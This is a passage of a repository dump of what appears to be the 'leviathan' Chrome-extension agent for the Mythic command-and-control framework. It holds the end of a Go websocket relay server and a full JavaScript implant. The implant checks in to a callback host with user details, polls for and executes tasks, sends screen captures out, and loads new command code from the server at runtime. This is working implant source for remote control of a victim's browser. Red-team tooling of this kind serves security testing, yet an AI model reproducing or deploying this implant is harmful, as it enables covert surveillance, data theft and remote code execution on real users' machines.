s.Websocketlog(fmt.Sprintf("Received agent message %+v\n", m)) 130 | resp = s.PostMessage([]byte(m.Data)) 131 | } 132 | 133 | reply := Message{Client: false} 134 | 135 | if len(resp) == 0 { 136 | reply.Data = "" 137 | } else { 138 | reply.Data = string(resp) 139 | } 140 | 141 | reply.Tag = m.Tag 142 | 143 | if err = c.WriteJSON(reply); err != nil { 144 | s.Websocketlog(fmt.Sprintf("Error writing json to client %s", err.Error())) 145 | break LOOP 146 | } 147 | } 148 | } 149 | c.Close() 150 | 151 | } 152 | 153 | // ServeDefaultPage - HTTP handler 154 | func (s WebsocketC2) ServeDefaultPage(w http.ResponseWriter, r *http.Request) { 155 | log.Println("Received request: ", r.URL) 156 | log.Println("URI Path ", r.URL.Path) 157 | if (r.URL.Path == "/" || r.URL.Path == "/index.html") && r.Method == "GET" { 158 | // Serve the default page if we receive a GET request at the base URI 159 | http.ServeFile(w, r, s.GetDefaultPage()) 160 | } 161 | http.Error(w, "Not Found", http.StatusNotFound) 162 | return 163 | } 164 | 165 | // Run - main function for the websocket profile 166 | func (s WebsocketC2) Run(config interface{}) { 167 | cf := config.(C2Config) 168 | s.SetDebug(cf.Debug) 169 | s.SetDefaultPage(cf.Defaultpage) 170 | mythicServerHost := os.Getenv("MYTHIC_SERVER_HOST") 171 | mythicServerPort := os.Getenv("MYTHIC_SERVER_PORT") 172 | 173 | s.SetMythicBaseURL(fmt.Sprintf("http://%s:%s/agent_message", mythicServerHost, mythicServerPort)) 174 | s.SetBindAddress(cf.BindAddress) 175 | s.SetSocketURI(cf.SocketURI) 176 | 177 | // Handle requests to the base uri 178 | http.HandleFunc("/", s.ServeDefaultPage) 179 | // Handle requests to the websockets uri 180 | http.HandleFunc(fmt.Sprintf("/%s", s.SocketURI), s.SocketHandler) 181 | 182 | // Setup all the options according to the configuration 183 | if !strings.Contains(cf.SSLKey, "") && !strings.Contains(cf.SSLCert, "") { 184 | 185 | // copy the key and cert to the local directory 186 | if keyFile, err := os.Open(cf.SSLKey); err != nil { 187 | log.Println("Unable to open key file ", err.Error()) 188 | } else if keyfile, err := io.ReadAll(keyFile); err != nil { 189 | log.Println("Unable to read key file ", err.Error()) 190 | } else if err = os.WriteFile("key.pem", keyfile, 0644); err != nil { 191 | log.Println("Unable to write key file ", err.Error()) 192 | } else if certFile, err := os.Open(cf.SSLCert); err != nil { 193 | log.Println("Unable to open cert file ", err.Error()) 194 | } else if certfile, err := io.ReadAll(certFile); err != nil { 195 | log.Println("Unable to read cert file ", err.Error()) 196 | } else if err = os.WriteFile("cert.pem", certfile, 0644); err != nil { 197 | log.Println("Unable to write cert file ", err.Error()) 198 | } 199 | } 200 | 201 | if cf.UseSSL { 202 | err := httpscerts.Check("cert.pem", "key.pem") 203 | if err != nil { 204 | s.Websocketlog(fmt.Sprintf("Error for cert.pem or key.pem %s", err.Error())) 205 | err = httpscerts.Generate("cert.pem", "key.pem", cf.BindAddress) 206 | if err != nil { 207 | log.Fatal("Error generating https cert") 208 | os.Exit(1) 209 | } 210 | } 211 | 212 | s.Websocketlog(fmt.Sprintf("Starting SSL server at https://%s and wss://%s", cf.BindAddress, cf.BindAddress)) 213 | err = http.ListenAndServeTLS(cf.BindAddress, "cert.pem", "key.pem", nil) 214 | if err != nil { 215 | log.Fatal("Failed to start raven server: ", err) 216 | } 217 | } else { 218 | s.Websocketlog(fmt.Sprintf("Starting server at http://%s and ws://%s", cf.BindAddress, cf.BindAddress)) 219 | err := http.ListenAndServe(cf.BindAddress, nil) 220 | if err != nil { 221 | log.Fatal("Failed to start websocket server: ", err) 222 | } 223 | } 224 | } 225 | 226 | // Websocketlog - logging function 227 | func (s WebsocketC2) Websocketlog(msg string) { 228 | if s.Debug { 229 | log.Println(msg) 230 | } 231 | } 232 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/c2/leviathan-websocket.js: -------------------------------------------------------------------------------- 1 | //------------- Chrome Extension Websocket C2 mechanisms --------------------------------- 2 | // Dictionary that holds outbound messages 3 | var out = []; 4 | let screencaptures = []; 5 | let loads = []; 6 | class customC2 extends baseC2{ 7 | constructor(host, port, endpoint, interval){ 8 | super(host, port, endpoint,interval); 9 | this.host = host; 10 | this.port = port; 11 | this.endpoint = endpoint; 12 | this.interval = interval; 13 | this.commands = {}; 14 | this.server = `${this.host}:${this.port}/${this.endpoint}`; 15 | } 16 | 17 | getConfig() { 18 | return JSON.stringify({'server': this.server, 'interval':this.interval, 'commands': JSON.stringify(this.commands)}); 19 | } 20 | 21 | checkIn() { 22 | const msg = { 23 | "action":"checkin", 24 | "os":hostos, 25 | "architecture": hostarch, 26 | "user":apfell.userinfo, 27 | "uuid":apfell.uuid, 28 | "host":apfell.userinfo + "'s chrome", 29 | "pid":0, 30 | "ip":'127.0.0.1', 31 | }; 32 | 33 | let checkin = JSON.stringify(msg); 34 | let checkinpayload = apfell.uuid + checkin; 35 | 36 | const meta = { 37 | "client": true, 38 | "data": btoa(unescape(encodeURIComponent(checkinpayload))), 39 | "tag":"", 40 | }; 41 | 42 | const encmsg = JSON.stringify(meta); 43 | connection.send(encmsg); 44 | //console.log('Sent initial checkin'); 45 | } 46 | 47 | postResponse(){ 48 | if (out.length > 0){ 49 | // Pop and send a message to the controller 50 | while (out.length > 0) { 51 | const msg = out.shift(); 52 | const meta = { 53 | "client":true, 54 | "data": msg, 55 | "tag":"" 56 | }; 57 | let final = JSON.stringify(meta); 58 | connection.send(final); 59 | } 60 | } 61 | } 62 | } 63 | 64 | //------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE----------------------- 65 | const C2 = new customC2('callback_host', callback_port, 'ENDPOINT_REPLACE', callback_interval); 66 | const connection = new WebSocket(`${C2.server}`); 67 | 68 | function chunkArray(array, size) { 69 | if(array.length <= size){ 70 | return [array]; 71 | } 72 | 73 | return [array.slice(0,size), ...chunkArray(array.slice(size), size)]; 74 | } 75 | 76 | function c2loop() { 77 | C2.postResponse(); 78 | if (apfell.apfellid.length !== 0) { 79 | let request = {'action':'get_tasking', 'tasking_size': -1, 'delegates':[]}; 80 | let msg = JSON.stringify(request); 81 | let final = apfell.apfellid + msg; 82 | let encfinal = btoa(unescape(encodeURIComponent(final))); 83 | out.push(encfinal); 84 | } else { 85 | //console.log('Apfell id not set for tasking ' + apfell.apfellid); 86 | } 87 | } 88 | 89 | var mainloop = setInterval(c2loop, C2.interval * 1000); 90 | 91 | connection.onopen = function () { 92 | C2.checkIn(); 93 | }; 94 | 95 | connection.onclose = function () { 96 | // Do Nothing 97 | }; 98 | 99 | connection.onerror = function () { 100 | // Do Nothing 101 | }; 102 | 103 | connection.onmessage = function (e) { 104 | const rawmsg = JSON.parse(e.data); 105 | const decoded = atob(rawmsg.data); 106 | const messagenouuid = decoded.slice(36, decoded.length); 107 | 108 | const message = JSON.parse(messagenouuid); 109 | switch (message.action) { 110 | case 'checkin': { 111 | // callback check in 112 | if(message.id !== undefined){ 113 | apfell.apfellid = message.id; 114 | }else{ 115 | C2.checkIn(); 116 | } 117 | break; 118 | } 119 | case 'get_tasking' : { 120 | // handle an apfell message 121 | 122 | for (let index = 0; index < message.tasks.length; index++) { 123 | const task = message.tasks[index]; 124 | 125 | try { 126 | commands_dict[task.command](task); 127 | } catch (error) { 128 | let response = {'task_id':task.id, 'completed':false, 'status':'error', 'error':'error processing task for id ' + task.id + '\n' + error.toString()}; 129 | let outer_response = {'action':'post_response','responses':[response], 'delegates':[]}; 130 | let msg = btoa(unescape(encodeURIComponent(apfell.apfellid + JSON.stringify(outer_response)))); 131 | out.push(msg); 132 | //console.log("Error executing task: " + error.toString()); 133 | } 134 | } 135 | 136 | break; 137 | } 138 | case 'post_response' : { 139 | for (let index = 0; index < message.responses.length; index++) { 140 | let response = message.responses[index]; 141 | 142 | // check for screencaptures 143 | if (screencaptures.length > 0) { 144 | for (let i = 0; i < screencaptures.length; i++) { 145 | const capture = screencaptures[i]; 146 | let equal = response.task_id.localeCompare(capture.task_id); 147 | if (equal === 0) { 148 | // TODO: chunk the screencapture data 149 | let raw = capture.image; 150 | 151 | let resp = { 152 | 'chunk_num': 1, 153 | 'file_id': response.file_id, 154 | 'chunk_data': raw, 155 | 'task_id': capture.task_id, 156 | }; 157 | 158 | let outer_response = { 159 | 'action':'post_response', 160 | 'responses':[resp], 161 | 'delegates':[] 162 | }; 163 | 164 | let enc = JSON.stringify(outer_response); 165 | let final = apfell.apfellid + enc; 166 | let msg = btoa(unescape(encodeURIComponent(final))); 167 | out.push(msg); 168 | 169 | response = { 170 | 'task_id':response.task_id, 171 | 'user_output':'screencapture complete', 172 | 'complete':true 173 | }; 174 | 175 | outer_response = { 176 | 'action':'post_response', 177 | 'responses':[response], 178 | 'delegates':[] 179 | }; 180 | 181 | enc = JSON.stringify(outer_response); 182 | final = apfell.apfellid + enc; 183 | msg = btoa(unescape(encodeURIComponent(final))); 184 | out.push(msg); 185 | 186 | screencaptures[i] = {}; 187 | if (screencaptures.length === 1 ) { 188 | screencaptures = []; 189 | } 190 | } 191 | } 192 | } 193 | } 194 | 195 | break; 196 | } 197 | case 'upload' : { 198 | // check for load command responses 199 | 200 | if (loads.length > 0) { 201 | for (let j = 0; j < loads.length; j++) { 202 | let equal = message.file_id.localeCompare(loads[j].file_id); 203 | if (equal === 0) { 204 | let load = loads[j]; 205 | if (message.chunk_num < message.total_chunks) { 206 | let raw = atob(message.chunk_data); 207 | load.data.push(...raw); 208 | loads[j] = load; 209 | let resp = {'action':'upload','chunk_size': 1024000, 'chunk_num':(message.chunk_num + 1), 'file_id':load.file_id, 'full_path':''}; 210 | let encodedResponse = JSON.stringify(resp); 211 | let final = apfell.apfellid + encodedResponse; 212 | let msg = btoa(unescape(encodeURIComponent(final))); 213 | out.push(msg); 214 | } else if (message.chunk_num === message.total_chunks) { 215 | let raw = atob(message.chunk_data); 216 | load.data.push(...raw); 217 | let new_dict = default_load(load.data.join("")); 218 | commands_dict = Object.assign({}, commands_dict, new_dict); 219 | //console.log(Object.values(commands_dict)); 220 | C2.commands = Object.keys(commands_dict); 221 | let response = {'task_id':load.task_id, 'user_output': load.name + " loaded", "completed":true}; 222 | let outer_response = {'action':'post_response', 'responses':[response], 'delegates':[]}; 223 | let enc = JSON.stringify(outer_response); 224 | let final = apfell.apfellid + enc; 225 | let msg = btoa(unescape(encodeURIComponent(final))); 226 | loads[j] = {}; 227 | out.push(msg); 228 | } 229 | } 230 | } 231 | } 232 | } 233 | } 234 | }; -------------------------------------------------------------------------------- /agent_icons/leviathan.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 8 | 11 | 13 | 16 | 18 | 22 | 24 | 26 | 28 | 31 | 36 | 42 | 43 | 44 | 103 | 142 | 145 | 149 | 153 | 156 | 161 | 163 | 168 | 171 | 172 | 173 | 180 | 186 | 191 | 197 | 202 | 208 | 212 | 220 | 225 | 233 | 240 | 245 | 253 | 254 | 323 | 324 | 333 | 338 | 350 | 357 | 363 | 370 | 376 | 383 | 389 | 396 | 401 | 402 | 403 | 407 | 422 | 425 | 793 | 794 | 795 | 796 | 797 | 798 | 799 | 800 | 801 | 802 | 803 | 804 | 805 | 806 | 807 | 808 | 809 | 810 | 811 | 812 | 813 | 814 | 815 | 816 | 817 | 818 | 819 | 820 | 821 | 822 | 823 | 824 | 825 | --------------------------------------------------------------------------------